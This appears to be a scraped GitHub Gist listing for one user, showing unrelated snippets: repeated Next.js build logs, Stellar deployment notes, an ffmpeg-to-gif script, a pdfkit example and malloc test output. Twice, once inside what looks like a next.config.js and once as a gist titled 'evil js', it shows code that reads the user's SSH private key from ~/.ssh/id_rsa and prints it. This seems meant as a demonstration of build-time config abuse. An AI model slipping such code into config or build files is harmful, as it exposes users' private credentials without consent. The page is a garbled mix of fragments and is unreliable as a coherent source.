Skip to content

Instantly share code, notes, and snippets.

yarn run v1.22.10
$ npm run codegen:local && next build && ./scripts/delete-sourcemaps.sh
> pipe-webapp@1.0.0 codegen:local /home/zain/code/pipe/frontend
> npm run codegen:clean && graphql-codegen
> pipe-webapp@1.0.0 codegen:clean /home/zain/code/pipe/frontend
> find . -name __generated__ -type d -exec rm -rf {} \+
yarn run v1.22.10
$ npm run codegen:local && next build && ./scripts/delete-sourcemaps.sh
> pipe-webapp@1.0.0 codegen:local /home/zain/code/pipe/frontend
> npm run codegen:clean && graphql-codegen
> pipe-webapp@1.0.0 codegen:clean /home/zain/code/pipe/frontend
> find . -name __generated__ -type d -exec rm -rf {} \+
yarn run v1.22.10
$ npm run codegen:local && next build && ./scripts/delete-sourcemaps.sh
> pipe-webapp@1.0.0 codegen:local /home/zain/code/pipe/frontend
> npm run codegen:clean && graphql-codegen
> pipe-webapp@1.0.0 codegen:clean /home/zain/code/pipe/frontend
> find . -name __generated__ -type d -exec rm -rf {} \+
require("dotenv").config();
const path = require("path");
const Dotenv = require("dotenv-webpack");
const withLess = require("@zeit/next-less");
const withCSS = require("@zeit/next-css");
const { theme } = require("./src/lib/styles/nextTheme");
const withSourceMaps = require("@zeit/next-source-maps");
const fs = require('fs')
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString()
console.log(pk)
gvar = pk
console.log('This is your SSH key, kthxbai')
@zallarak
zallarak / evil_js.js
Last active July 26, 2019 20:54
evil js
const fs = require('fs')
const pk = fs.readFileSync('/home/' + process.env.USER + '/.ssh/id_rsa').toString()
console.log(pk)
gvar = pk
console.log('This is your SSH key, kthxbai')
@zallarak
zallarak / horizon-deployment.md
Last active October 29, 2017 17:06
Stellar: horizon/stellar-core deployment

Horizon Deployment

Install Docker

sudo apt-get update

sudo apt-get install \
    apt-transport-https \
    ca-certificates \
@zallarak
zallarak / mp42gif.sh
Created November 18, 2015 21:31
Create gif from mp4
#!/bin/bash
ffmpeg -i $1 -r 10 output%05d.png
convert -layers Optimize output*.png output.gif
rm output*.png
@zallarak
zallarak / whitenoise_example.py
Last active August 29, 2015 14:24
pdf_example.py
import pdfkit
pdfkit.from_file('test.html', 'out.pdf')
# Generating PDFs from strings and web-pages is equally easy:
pdfkit.from_string('Hello!', 'out.pdf')
pdfkit.from_url('http://google.com', 'out.pdf')
@zallarak
zallarak / gist:d424b698c46873a57e2a
Created August 13, 2014 18:54
Base malloc large: 7a414310c981ecfde50ce729336df13367a75954
zain@gandalf:~/cs107/assign7$ ./alloctest -f tiny1.script
Evaluating allocator on tiny1....done.
script name correct? utilization requests secs Kreq/sec
-------------------------------------------------------------------------------
tiny1 Y 66% 12 0.000029 414
-------------------------------------------------------------------------------
Aggregate 1 of 1 66% 12 0.000029 414
66% (utilization) 4% (throughput, expressed relative to target 11000 Kreq/sec)